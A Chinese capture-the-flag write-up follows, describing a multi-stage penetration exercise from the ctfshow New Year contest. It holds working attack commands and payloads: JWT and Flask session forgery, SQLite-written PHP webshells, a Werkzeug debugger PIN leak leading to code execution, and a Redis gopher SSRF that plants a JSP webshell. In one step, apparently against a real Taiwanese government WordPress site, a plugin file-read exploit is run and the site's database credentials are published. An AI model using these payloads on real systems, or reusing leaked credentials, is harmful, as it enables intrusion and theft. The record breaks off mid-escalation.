ctfshow元旦渗透赛wp

启程

img img
1
提交压缩包的密码

首先获得的是一个压缩包,但是加密了。我们丢到passware里爆破一下。

直接出了,密码654321

1
提交任务中心的网址

获得一串base64编码后的数据,解码一下

1
2
3
4
5
6
7
if __name__ == '__main__':
try:
import secretMessageResponse
except ImportError:
import pip
pip.main(['install', 'secretMessageResponse'])
from secretMessageResponse import printMessage

直接丢到python运行试试。返回结果如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
请使用组织分配的私钥解密后使用
----------------------------------------------------------
2024-12-16
gHgAsclUVPhWDv4S8Oa8SuRTDaj+V0dI4z2jrQwfvfSFWilWwMKwNULUI48UBLS2shZcm/yv2/e5Hq5VRDfXkdxCYQMdvdnvONtpm2yNiIaLpDV4Rs8fOXJ6kcaeT+mg4RkIIFgx35w4J1KgO72pSP8j1p+R9f9TNMafwJ91XmO4QTcOYkMKQMddKvhbyMXzJkSS0uZqEppNSIUnVX9b7m8PmMjV0uHShvb1Zc8UQWJWUJ3cOxwNasOeMQGxJrZXPkxIxDYzm3f0tXbCgvdgNZ8TQY7u+iCXjOtD6xnUsdSahnPq14BD30CilIfsG0r/klPHfxQ+psmHSX47Ylai0TtgfbHWJJ4lSo0ojMvTx6HYK8zmAoCmg4OGXDbv/IjJgYU1w24na0iXZCNtcjB9MLRNck00c20f/uS64Ss0Ixii8nmfsFOjQBCcIYN+HGmOnj5Uw8DVJrxlOmcfQciG3rzuIvYlbOdGMcyarTy2Ba7iZfoovYZObPscAwhNLWqbU4tuR78aOVxiXTFRY7+Y0x2eRT5sulcvB3vsKuDMlNrxaUgiFUohPBZGNsgQgyCPxxqk0NpUn0bbHLH+vBebjJxaim4AU28ctWW8xv7xpxVttb0EoohtK2cIHr79ep5XrU/rv4R58obD/o+QqI1Mrb4wwpX9tsL7ZbROw/MXJwM=
----------------------------------------------------------


请使用组织分配的私钥解密后使用
----------------------------------------------------------
2024-04-11
Z93Khatj+AWZcpPwIqu8LzbJ8xb8CuVMI8okE0qwoQD2IC2lixg77mJZireOrbW7zFkDsk1hP67dROJZwVUDrYot2g5GxX/xy7lGjIblUX4iJVUtP4mHqZUgKROaLoh/gippMpP+8Ik2X/QRBx5gdhq0xam+wuVC+77/tyu8Fd/DohKbAMp8aaJsFr/W4mLDZ1gv4JK+2O3l+bAvpodBRTzb0ld5zD2ueYvjTudoDjdanQP1oVTH7pkDO2Vb+SsdIyTi2C410JEOF4Qm8mzVHtiOunOcLVpAlQsM6/LdhqsTNelXl/Myb84NGxwGWVmx6j2QejiL7S1hHeHlmQ9ExHeURPdZAvKhgMCemYXu3BGlFq3ydb5SkqwLFvM4vJ6XUBcWkHT8eijBFF6Y7YgOv9GRvBTnsAQhUBp4W4EAMtXkDdToG+S8ZO7El8Gh8jaWC49n5CuUBRz3z2GeOVbsBamfLV06IO5v78jGHXig4saEFKHvYSIGewyUCVQEGoIR5xOTJBTUTePAdvQjfg28vZZxFB/hIYNDUHkaek1Mg1UH5HWGgsCX1In5hSX/9eBkznEhzeWnJ1yMsYkj+ddN34DLQSrHc83geXMcoW3Ah3cAQG8E8bszvKL3hme+T5rOeENjkOAgYhf84k4YlxDskdwvzyu8HkE9CSaBpDP6lKI=
----------------------------------------------------------


请使用组织分配的私钥解密后使用
----------------------------------------------------------
2024-03-05
ckDSthpl5DDJMpBE26Jqk8EjaSq7MUntdwLHPouwx6D38un6WQfLJ9wgDyjh9GA/ICJR7WrwWsVinr6y3u9w+ubMZ0mqmtnphzQraagk8NkKc1u1+qGp8llsud3C8mvJWa4GYa9KEhnACDHwppPKJDCfr1HKwPbR0NIi+1Aunmy6DeOKRkFwysnrSco5QiiC9+gdXFhQDmN9KEiYW6Pc3mWVbqFiJgRW3/Df6638oGPm6AUcgRnEWMKiluyN81frM9VNtCeJ64YrU6Rgx4D153YxNNQbLTcyCQMamHTrJnhxPojkuDqbEcU+iiN4offwrQyr4eEu9ecvmyD2w/n7pAOsVnqSzroBujVA+CK6Zq8Uie15mL5yWG9hD5ZcbSwnRmtqK3yl0Xl91hgn1JqcIEKtf+MnMQPr80uoxT3mz8IX8pyVnyyw1x6F+IK1I2G+5w6rUDjhzIbME5XB9hopwcswsXrMo9PP6/5Sz1noJrsu6k6WN8ZM0MyRIav+xuKP1+cYzlPSQZrMo3L4ieHQnBbsoyzGVf9QONMwaooGOrxu88ZWlGe8e7eyCzteeNSVOC2zqtQiwQJIgfp2UwTymA/cEjOICWVzUXwbE5wWUBPCLp2C/XWc82byrOHAFXHLOVKgolVToUpZ5uOvizgk/ahaxdGxGa9CrRyr6sf+goA=
----------------------------------------------------------

同时题目给了npq

1
2
3
633246888504573920779824237508007735589231666589188021171575950939940255140086052090801972411182075806200277922264916256376952068104942084262732765302869757002336862151158422906662985191392193462511289187123754337854684702016396996198789908170728175626225281406256476216079863574750768787169969475152717430903460149705597463505143799487488630064694962535355825378265518133414832135165998125004282912865895836379205933895029154287788824317000843771251331435939410389957572552746410933103347212260533351406876584798128116835102705770834548333327952204414218313396767348386545933700371706780732081128764732828398879654027694999061445888984652196057717761623666471390226500419047354546009526849190038055817008252022472857695300387827500818231719929626707573775972451255428059119840669826086027702546510213791864358183204530776020004866770536545695330324167569777791175170044812028227494966458864002660598592490354017639158027968836329598282419666463285900175674408026881052737148611395153194390130628356104784358804158581294733196703476913434055209441802708485723455322985654447400945734717510509951259155462497189459983874690099575241597111904193711108488616566486665053884629084564364205319797812148684173057523812840684555544241901417
31764044218067306492147889531461768510318119973238219147743625781223517377940974553025619071173628007991575510570365772185728567874710285810316184852553098753128108078975486635418847058797903708712720921754985829347790065080083720032152368134209675749929875336343905922553986957365581428234650288535216460326756576870072581658391409039992017661511831846885941769553385318452234212849064725733948770687309835172939447056526911787218396603271670163178681907015237200091850112165224511738788059683289680749377500422958532725487208309848648092125981780476161201616645007489243158529515899301932222796981293281482590413681
19935965463251204093790728630387918548913200711797328676820417414861331435109809773835504522004547179742451417443447941411851982452178390931131018648260880134788113098629170784876904104322308416089636533044499374973277839771616505181221794837479001656285339681656874034743331472071702858650617822101028852441234915319854953097530971129078751008161174490025795476490498225822900160824277065484345528878744325480894129738333972010830499621263685185404636669845444451217075393389824619014562344105122537381743633355312869522701477652030663877906141024174678002699020634123988360384365275976070300277866252980082349473657

给了npq,e默认,那么私钥自然而然其实就有了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import gmpy2
from Cryptodome.PublicKey import RSA


n=633246888504573920779824237508007735589231666589188021171575950939940255140086052090801972411182075806200277922264916256376952068104942084262732765302869757002336862151158422906662985191392193462511289187123754337854684702016396996198789908170728175626225281406256476216079863574750768787169969475152717430903460149705597463505143799487488630064694962535355825378265518133414832135165998125004282912865895836379205933895029154287788824317000843771251331435939410389957572552746410933103347212260533351406876584798128116835102705770834548333327952204414218313396767348386545933700371706780732081128764732828398879654027694999061445888984652196057717761623666471390226500419047354546009526849190038055817008252022472857695300387827500818231719929626707573775972451255428059119840669826086027702546510213791864358183204530776020004866770536545695330324167569777791175170044812028227494966458864002660598592490354017639158027968836329598282419666463285900175674408026881052737148611395153194390130628356104784358804158581294733196703476913434055209441802708485723455322985654447400945734717510509951259155462497189459983874690099575241597111904193711108488616566486665053884629084564364205319797812148684173057523812840684555544241901417
p=31764044218067306492147889531461768510318119973238219147743625781223517377940974553025619071173628007991575510570365772185728567874710285810316184852553098753128108078975486635418847058797903708712720921754985829347790065080083720032152368134209675749929875336343905922553986957365581428234650288535216460326756576870072581658391409039992017661511831846885941769553385318452234212849064725733948770687309835172939447056526911787218396603271670163178681907015237200091850112165224511738788059683289680749377500422958532725487208309848648092125981780476161201616645007489243158529515899301932222796981293281482590413681
q=19935965463251204093790728630387918548913200711797328676820417414861331435109809773835504522004547179742451417443447941411851982452178390931131018648260880134788113098629170784876904104322308416089636533044499374973277839771616505181221794837479001656285339681656874034743331472071702858650617822101028852441234915319854953097530971129078751008161174490025795476490498225822900160824277065484345528878744325480894129738333972010830499621263685185404636669845444451217075393389824619014562344105122537381743633355312869522701477652030663877906141024174678002699020634123988360384365275976070300277866252980082349473657
phi=(p-1)*(q-1)
e=65537
d=gmpy2.invert(e,phi)
# print(d)
d=int(d)
key = RSA.construct((n, e, d, p, q))
private_key=key.export_key()
print(private_key.decode('utf-8'))
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
-----BEGIN RSA PRIVATE KEY-----
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
-----END RSA PRIVATE KEY-----

然后用赛博厨子解密即可。

解得明文如下:

1
2
3
4
5
6
7
8
9
Park:
你的行动已经暴露,24小时内迅速撤离,销毁所有资料,将现有资料统一上传到【任务中心】
发送人:Dylan
Park:
总部已经为你安排新的身份,请务必在3日内抵台,你的新身份是新竹县动物保护防疫所网络安全顾问,【任务中心】账号密码和你任职单位网站的数据库用户名密码一致,请尽快修改
发送人:Dylan
Park:
【任务中心】网址已变更为 https://task.ctfer.com ,请注意修改浏览器地址栏中的链接
发送人:Dylan
1
提交park在任务中心登陆的账号密码

然后我们要做的是获取任务中心的账号密码

上面的密文中说到过了,任务中心的账号密码和湾湾某一g*v的数据库账密是一样的,那就说明我们要去看看湾湾的g*v。这里就不贴图了,有一丢丢敏感。。

wordpress,那就wpscan浅浅扫一下

发现插件版本out of date且给出了具体版本,那么去wpscan官网查查相关漏洞试试

尝试后直接获取敏感文件

1
?aam-media=wp-config.php

图就不贴了嘤嘤嘤

1
2
define( 'DB_USER', 'hsinchug_wp1' );
define( 'DB_PASSWORD', 'Q.4Vyj8VCiedX1KYU5g05' );

拿到账密后就可以进入任务中心了。

第二章

1
提交dylan的电话号码

根据任务中心中给到的信息我们可以对私钥进行掩码爆破

1
hashcat -a 3 -m 16500 hash.txt --custom-charset1=?l?d 4a4f7d6e8b5?1?1?10c7f
1
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJoc2luY2h1Z193cDEiLCJleHAiOjE3MzU4MTI2ODR9.vwzjhUY2xVSdKrdG2KznZ-kWWLBHvE7KTtLtFr4bRBo:4a4f7d6e8b5e3a0c7f

抓显示电话号码的包,然后改JWT即可。

1
2
3
在任务中心服务器上搜索秘密账户,用户名好像是root,提交他的密码

非系统用户root 是web里面的用户名root

然后注销,登陆的时候抓包狂改jwt

然后就多了一个administrator界面!!

抓包获取三个接口:

listTaskFiles接口好像可以获得目录文件??试试看

/getServerInfo获取内网地址

/downloadTaskFile通过url下载文件,既然有内网地址和目录了,那么我们是不是就可以下载文件了?!

但是试了一下不太行,后来发现在listTaskFiles的bp dashboard处直接改包发包以后,浏览器上显示文件,然后直接读就行

多了一个路由

这个taskfiles目录下没啥东西。。。读到都是没用的,那就说明需要目录穿越。

尝试了../,发现过滤了,没办法

尝试置空,读取到上一级,但应该是根目录,这就不知道了

发现一个init_users.json,直接读

1
7y.(sc#Ac_
1
提交 DATABASE_SECRET_KEY内容

然后看下一关,提交 DATABASE_SECRET_KEY内容

先看看main.py.bak文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from flask import Flask, request, jsonify, session
from flask import url_for, redirect
import logging
from os.path import basename, join

app = Flask(__name__)

app.config['SECRET_KEY'] = '3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5'

@app.route('/', methods=['GET'])
def index():
session['user'] = 'guest'
return {'message': 'log server is running'}

def check_session():
if 'user' not in session:
return False
if session['user'] != 'admin':
return False
return True

@app.route('/key', methods=['GET'])
def get_key():
if not check_session():
return {"message": "not authorized"}
else:
with open('/log_server_key.txt', 'r') as f:
key = f.read()
return {'message': 'key', 'key': key}

@app.route('/set_log_option', methods=['GET'])
def set_log_option():
if not check_session():
return {"message": "not authorized"}

logName = request.args.get('logName')
logFile = request.args.get('logFile')
app_log = logging.getLogger(logName)
app_log.addHandler(logging.FileHandler('./log/' + logFile))
app_log.setLevel(logging.INFO)
clear_log_file('./log/' + logFile)
return {'message': 'log option set successfully'}

@app.route('/get_log_content', methods=['GET'])
def get_log_content():
if not check_session():
return {"message": "not authorized"}

logFile = request.args.get('logFile')
path = join('log', basename(logFile))
with open(path, 'r') as f:
content = f.read()
return {'message': 'log content', 'content': content}

def clear_log_file(file_path):
with open(file_path, 'w') as f:
pass

if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=8888)

读了也没很大的用处。题目是横向渗透,之前给了一个内网ip 172.2.233.4,莫非是扫c段?

我勒个豆??随便改了一位直接出了。。。环境变了一次,所以172.2.233.4变为172.2.45.4

第三章

1
2
跳岛战术
拿到config.php中的数据库密码

跳岛战术,被困了好久

8888端口开放了一个flask的服务

然后看看php代码

这台机器是php环境,config.php估计就在这台机子上了。

GET传参,四个参数,username、password、dsn、query

1
2
3
?username=meteorkai&password=mateorkai&dsn=sqlite:aa.php&query=CREATE TABLE bad (name TEXT);

%3Fusername%3Dmeteorkai%26password%3Dmateorkai%26dsn%3Dsqlite%3Aaa.php%26query%3DCREATE%20TABLE%20bad%20%28name%20TEXT%29%3B
1
2
3
4
5
?username=meteorkai&password=mateorkai&dsn=sqlite:aa.php&query=INSERT INTO bad (name) VALUES ('<?php file_put_contents("cmd.php","<?php system(\$_GET[0]);?>");?>');

%3Fusername%3Dmeteorkai%26password%3Dmateorkai%26dsn%3Dsqlite%3Aaa.php%26query%3DINSERT%20INTO%20bad%20%28name%29%20VALUES%20%28%27%3C%3Fphp%20file_put_contents%28%22cmd.php%22%2C%22%3C%3Fphp%20system%28%5C%24_GET%5B0%5D%29%3B%3F%3E%22%29%3B%3F%3E%27%29%3B

%3fdsn=sqlite:shell.php%26username=aaa%26password=bbb%26query=create%20table%20"aaa"%20(name%20TEXT%20DEFAULT%20"<?php%20file_put_contents('1.php','<?php eval($_GET[1]);?>');?>");

sqlite的每一个数据库其实都是一个文件,第一个命令是创建一个bad表并有字段name,这会被记录到php文件中去。第二个命令相当于往name字段写入一个后门,那么就会在php文件中出现,然后我们访问aa.php,就会触发php代码,从而产生后门

image-20250107165902352

成功获得config.php中数据库密码。

1
2
3
4
$database_host = "localhost";
$database_user = "root";
$database_password = "3f7a1d5a-d55d-4d9d-8d9a-d5d5d5d5d5d5";
$database_name = "web_db_2";
1
2
3
4
5
提交park在2024年12月27日19时20分收到的邮件中的数字

格式 ctfshow{数字}

也可以提交 163邮箱的账号密码 格式 ctfshow{账号_密码}

然后我们看看根目录,发现存在一个secret.txt文件,查看一下。

获得一串base64编码

1
2
YUdGamEyVnlYMk4wWm5Ob2IzZEFNVFl6TG1OdmJTOUk=
WVdOclpYSmZZM1JtYzJnd2R3PT0=
1
2
aGFja2VyX2N0ZnNob3dAMTYzLmNvbS9I
YWNrZXJfY3Rmc2gwdw==

解码后拼接

1
hacker_ctfshow@163.com/Hacker_ctfsh0w

邮箱号加密码。

1
ctfshow{hacker_ctfshow@163.com_Hacker_ctfsh0w}

第四章

1
提交log_server_key.txt内容

本章的重点是flask服务器,之前我们看到过源码,在8888端口

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
from flask import Flask, request, jsonify, session
from flask import url_for, redirect
import logging
from os.path import basename, join

app = Flask(__name__)

app.config['SECRET_KEY'] = '3f7a4d5a-a71a-4d9d-8d9a-d5d5d5d5d5d5'

@app.route('/', methods=['GET'])
def index():
session['user'] = 'guest'
return {'message': 'log server is running'}

def check_session():
if 'user' not in session:
return False
if session['user'] != 'admin':
return False
return True

@app.route('/key', methods=['GET'])
def get_key():
if not check_session():
return {"message": "not authorized"}
else:
with open('/log_server_key.txt', 'r') as f:
key = f.read()
return {'message': 'key', 'key': key}

@app.route('/set_log_option', methods=['GET'])
def set_log_option():
if not check_session():
return {"message": "not authorized"}

logName = request.args.get('logName')
logFile = request.args.get('logFile')
app_log = logging.getLogger(logName)
app_log.addHandler(logging.FileHandler('./log/' + logFile))
app_log.setLevel(logging.INFO)
clear_log_file('./log/' + logFile)
return {'message': 'log option set successfully'}

@app.route('/get_log_content', methods=['GET'])
def get_log_content():
if not check_session():
return {"message": "not authorized"}

logFile = request.args.get('logFile')
path = join('log', basename(logFile))
with open(path, 'r') as f:
content = f.read()
return {'message': 'log content', 'content': content}

def clear_log_file(file_path):
with open(file_path, 'w') as f:
pass

if __name__ == '__main__':
app.run(debug=True, host='0.0.0.0', port=8888)

这里我们获取到了一个session值,看看

1
eyJ1c2VyIjoiZ3Vlc3QifQ.Z3zuOw.FYFsUkqCVKObwblDG85AR5G7PRI

第一题我们的重点是:

1
2
3
4
5
6
7
8
@app.route('/key', methods=['GET'])
def get_key():
if not check_session():
return {"message": "not authorized"}
else:
with open('/log_server_key.txt', 'r') as f:
key = f.read()
return {'message': 'key', 'key': key}

那就是session伪造嘛。

1
eyJ1c2VyIjoiYWRtaW4ifQ.Z3zvxA.3ctTGQeEHdsYY66hbZKoftfwOLg

然后我们需要携带cookie访问/key路由

1
?url=http://172.2.78.5/cmd.php?0=curl+http://172.2.78.6:8888/key+--cookie+"session=eyJ1c2VyIjoiYWRtaW4ifQ.Z3zvxA.3ctTGQeEHdsYY66hbZKoftfwOLg"
1
提交flask所在服务器的/etc/passwd 文件最后一行内容
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
@app.route('/set_log_option', methods=['GET'])
def set_log_option():
if not check_session():
return {"message": "not authorized"}

logName = request.args.get('logName')
logFile = request.args.get('logFile')
app_log = logging.getLogger(logName)
app_log.addHandler(logging.FileHandler('./log/' + logFile))
app_log.setLevel(logging.INFO)
clear_log_file('./log/' + logFile)
return {'message': 'log option set successfully'}

@app.route('/get_log_content', methods=['GET'])
def get_log_content():
if not check_session():
return {"message": "not authorized"}

logFile = request.args.get('logFile')
path = join('log', basename(logFile))
with open(path, 'r') as f:
content = f.read()
return {'message': 'log content', 'content': content}

这里打pin码泄露,创建一个日志,然后把pin码打印到日志。

设置loggername为werkzeug记录flask的日志(不知道的可以打个断点看一下,在logdict里有)

img

查一下就可以知道这个logger可以记录flask的日志,那么打印出来的pin就会出现在日志中,然后getlogcontent即可。

1
2
#设置log
http://172.2.95.5/1.php?1=system('curl+-b+"session=eyJ1c2VyIjoiYWRtaW4ifQ.Z5NFxQ.nqry7XfiXJlZUKCcezNjKLe_wD0"+"http://172.2.95.6:8888/set_log_option%3flogName=werkzeug%2526logFile=jwk.log"');
1
2
3
4
#获取console的页面key
http://172.2.95.5/1.php?1=system('curl+-b+"session=eyJ1c2VyIjoiYWRtaW4ifQ.Z5NFxQ.nqry7XfiXJlZUKCcezNjKLe_wD0"+"http://172.2.95.6:8888/console"');

BDrrhrw6TzJCcFsCz6dj
1
2
3
4
#打印pin码到日志
curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z5NFxQ.nqry7XfiXJlZUKCcezNjKLe_wD0" "http://172.2.95.6:8888/console?__debugger__=yes&cmd=printpin&s=BDrrhrw6TzJCcFsCz6dj"

Y3VybCAtYiAgInNlc3Npb249ZXlKMWMyVnlJam9pWVdSdGFXNGlmUS5aNU5GeFEubnFyeTdYZmlYSmxaVUtDY2V6TmpLTGVfd0QwIiAiaHR0cDovLzE3Mi4yLjk1LjY6ODg4OC9jb25zb2xlP19fZGVidWdnZXJfXz15ZXMmY21kPXByaW50cGluJnM9QkRycmhydzZUekpDY0ZzQ3o2ZGoi
1
2
3
4
读log
curl -b "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z5NFxQ.nqry7XfiXJlZUKCcezNjKLe_wD0" "http://172.2.95.6:8888/get_log_content?logFile=jwk.log"

Y3VybCAtYiAgInNlc3Npb249ZXlKMWMyVnlJam9pWVdSdGFXNGlmUS5aNU5GeFEubnFyeTdYZmlYSmxaVUtDY2V6TmpLTGVfd0QwIiAiaHR0cDovLzE3Mi4yLjk1LjY6ODg4OC9nZXRfbG9nX2NvbnRlbnQ/bG9nRmlsZT1qd2subG9nIg==
1
375-828-345

终于读到pin了,卡了好久。。。

然后我们pinauth一下,获取cookie

1
2
3
curl -b  "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z5NFxQ.nqry7XfiXJlZUKCcezNjKLe_wD0" "http://172.2.95.6:8888/console?__debugger__=yes&cmd=pinauth&pin=375-828-345&s=BDrrhrw6TzJCcFsCz6dj"

Y3VybCAtYiAgInNlc3Npb249ZXlKMWMyVnlJam9pWVdSdGFXNGlmUS5aNU5GeFEubnFyeTdYZmlYSmxaVUtDY2V6TmpLTGVfd0QwIiAiaHR0cDovLzE3Mi4yLjk1LjY6ODg4OC9jb25zb2xlP19fZGVidWdnZXJfXz15ZXMmY21kPXBpbmF1dGgmcGluPTM3NS04MjgtMzQ1JnM9QkRycmhydzZUekpDY0ZzQ3o2ZGoi

显示auth为true,验证成功,这里我们保存cookie的值

1
curl -c cookie.txt -v -b  "session=eyJ1c2VyIjoiYWRtaW4ifQ.Z5NFxQ.nqry7XfiXJlZUKCcezNjKLe_wD0" "http://172.2.95.6:8888/console?__debugger__=yes&cmd=pinauth&pin=375-828-345&s=BDrrhrw6TzJCcFsCz6dj"
1
__wzdc58fd521ffb0cae53209	1737707116|910ebc3905cd

然后进行rce:

1
curl -v -b "__wzdc58fd521ffb0cae53209=1737707116|910ebc3905cd" "http://172.2.95.6:8888/console?__debugger__=yes&cmd=__import__('os').system('''cat%20\/etc\/passwd>.\/log\/jwk.log''')&frm=0&s=BDrrhrw6TzJCcFsCz6dj"
1
ctfer:x:1000:1000::/home/ctfer:/bin/bash

第五章

扫到一个java服务。jetty,没什么其他的,看看是否存在版本漏洞。

1
ctfshow_2025

CVE-2021-28164

提交 /dylan.txt 中的key

既然我们获得了redis的密码,那么我们接下来登录redis

1
dict://172.2.229.7:6380/auth:ctfshow_2025

img

1
2
3
4
5
6
auth ctfshow_2025
config set dir /opt/jetty/webapps/ROOT/
config set dbfilename hack.jsp
set xxx "<% Runtime.getRuntime().exec(new String[]{\"sh\",\"-c\",request.getParameter(\"cmd\")});%>"
save
quit
1
curl -v "gopher://172.2.95.7:6380/_auth%20ctfshow_2025%0aconfig%20set%20dir%20%2fopt%2fjetty%2fwebapps%2fROOT%2f%0aconfig%20set%20dbfilename%20hack.jsp%0aset%20xxx%20%22%3c%25%20Runtime.getRuntime().exec(new%20String%5b%5d%7b%5c%22sh%5c%22%2c%5c%22-c%5c%22%2crequest.getParameter(%5c%22cmd%5c%22)%7d)%3b%25%3e%22%0asave%0aquit"

不出意外写马是成功的

1
http://172.2.95.7:8080/hack.jsp?cmd=cat%20/dylan.txt>/opt/jetty/webapps/ROOT/1.txt

然后去访问1.txt即可。

1
7b11a7ae330883cb5bf667a9c1604635

提交/root/message.txt中提到的网址

一眼需要提权!

列出文件能力:

1
http://172.2.95.7:8080/hack.jsp?cmd=getcap%20-r%20/%202>/dev/null> /opt/jetty/webapps/ROOT/cap.txt
1
/usr/local/openjdk-8/bin/java = cap_setuid+ep

好东西,java有setuid能力

写入 SetUID.c

1
2
3
4
5
6
#include <jni.h>
#include <unistd.h>

JNIEXPORT jint JNICALL Java_SetUID_setUID(JNIEnv *env, jobject obj, jint uid) {
return setuid(uid);
}
1
